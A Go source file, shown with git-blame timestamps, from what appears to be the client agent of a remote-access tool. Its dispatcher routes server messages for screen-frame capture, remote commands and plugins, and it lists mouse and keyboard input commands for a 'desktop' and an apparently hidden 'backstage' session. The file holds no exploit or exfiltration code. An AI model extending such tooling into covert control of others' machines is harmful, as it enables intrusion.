2026-03-05 00:04:26 -06:00
|
|
|
package handlers
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
|
|
|
|
"fmt"
|
|
|
|
|
"log"
|
2026-05-21 23:28:06 -05:00
|
|
|
"maps"
|
2026-03-05 00:04:26 -06:00
|
|
|
|
2026-04-08 14:14:09 -05:00
|
|
|
"overlord-client/cmd/agent/capture"
|
2026-03-05 00:04:26 -06:00
|
|
|
"overlord-client/cmd/agent/runtime"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type Dispatcher struct {
|
|
|
|
|
Env *runtime.Env
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func NewDispatcher(env *runtime.Env) *Dispatcher {
|
|
|
|
|
return &Dispatcher{Env: env}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface{}) (err error) {
|
|
|
|
|
defer func() {
|
|
|
|
|
if r := recover(); r != nil {
|
|
|
|
|
log.Printf("dispatcher: panic: %v", r)
|
|
|
|
|
err = fmt.Errorf("dispatcher panic: %v", r)
|
|
|
|
|
}
|
|
|
|
|
}()
|
|
|
|
|
|
2026-05-21 23:28:06 -05:00
|
|
|
msgType, ok := envelope["type"].(string)
|
|
|
|
|
if !ok || msgType == "" {
|
|
|
|
|
log.Printf("dispatcher: missing type (keys=%v)", maps.Keys(envelope))
|
2026-03-05 00:04:26 -06:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
switch msgType {
|
|
|
|
|
case "hello_ack":
|
|
|
|
|
return HandleHelloAck(ctx, d.Env, envelope)
|
|
|
|
|
case "ping":
|
|
|
|
|
return HandlePing(ctx, d.Env, envelope)
|
|
|
|
|
case "pong":
|
|
|
|
|
return HandlePong(ctx, d.Env, envelope)
|
2026-04-08 14:14:09 -05:00
|
|
|
case "frame_ack":
|
|
|
|
|
capture.ReleaseFrameSlot()
|
|
|
|
|
return nil
|
2026-03-05 00:04:26 -06:00
|
|
|
case "command":
|
2026-04-06 18:07:54 -05:00
|
|
|
cmdType, _ := envelope["commandType"].(string)
|
2026-05-21 23:28:06 -05:00
|
|
|
if !isInputCommand(cmdType) {
|
2026-04-06 18:07:54 -05:00
|
|
|
log.Printf("dispatcher: handling command type=%s", cmdType)
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
return HandleCommand(ctx, d.Env, envelope)
|
|
|
|
|
case "plugin_event":
|
|
|
|
|
return HandlePluginEvent(ctx, d.Env, envelope)
|
|
|
|
|
case "notification_config":
|
|
|
|
|
return HandleNotificationConfig(ctx, d.Env, envelope)
|
|
|
|
|
case "command_abort":
|
|
|
|
|
cmdID, _ := envelope["commandId"].(string)
|
|
|
|
|
if cmdID != "" {
|
|
|
|
|
if cancelCommand(cmdID) {
|
|
|
|
|
log.Printf("dispatcher: cancelled command %s", cmdID)
|
|
|
|
|
} else {
|
|
|
|
|
log.Printf("dispatcher: command %s not found or already completed", cmdID)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
default:
|
|
|
|
|
log.Printf("dispatcher: unknown message type=%v", msgType)
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-05-21 23:28:06 -05:00
|
|
|
func isInputCommand(cmdType string) bool {
|
|
|
|
|
switch cmdType {
|
|
|
|
|
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
|
|
|
|
|
"desktop_key_down", "desktop_key_up", "desktop_text",
|
2026-07-13 10:22:19 -05:00
|
|
|
"backstage_mouse_move", "backstage_mouse_down", "backstage_mouse_up",
|
|
|
|
|
"backstage_mouse_wheel", "backstage_key_down", "backstage_key_up":
|
2026-05-21 23:28:06 -05:00
|
|
|
return true
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
2026-05-21 23:28:06 -05:00
|
|
|
return false
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|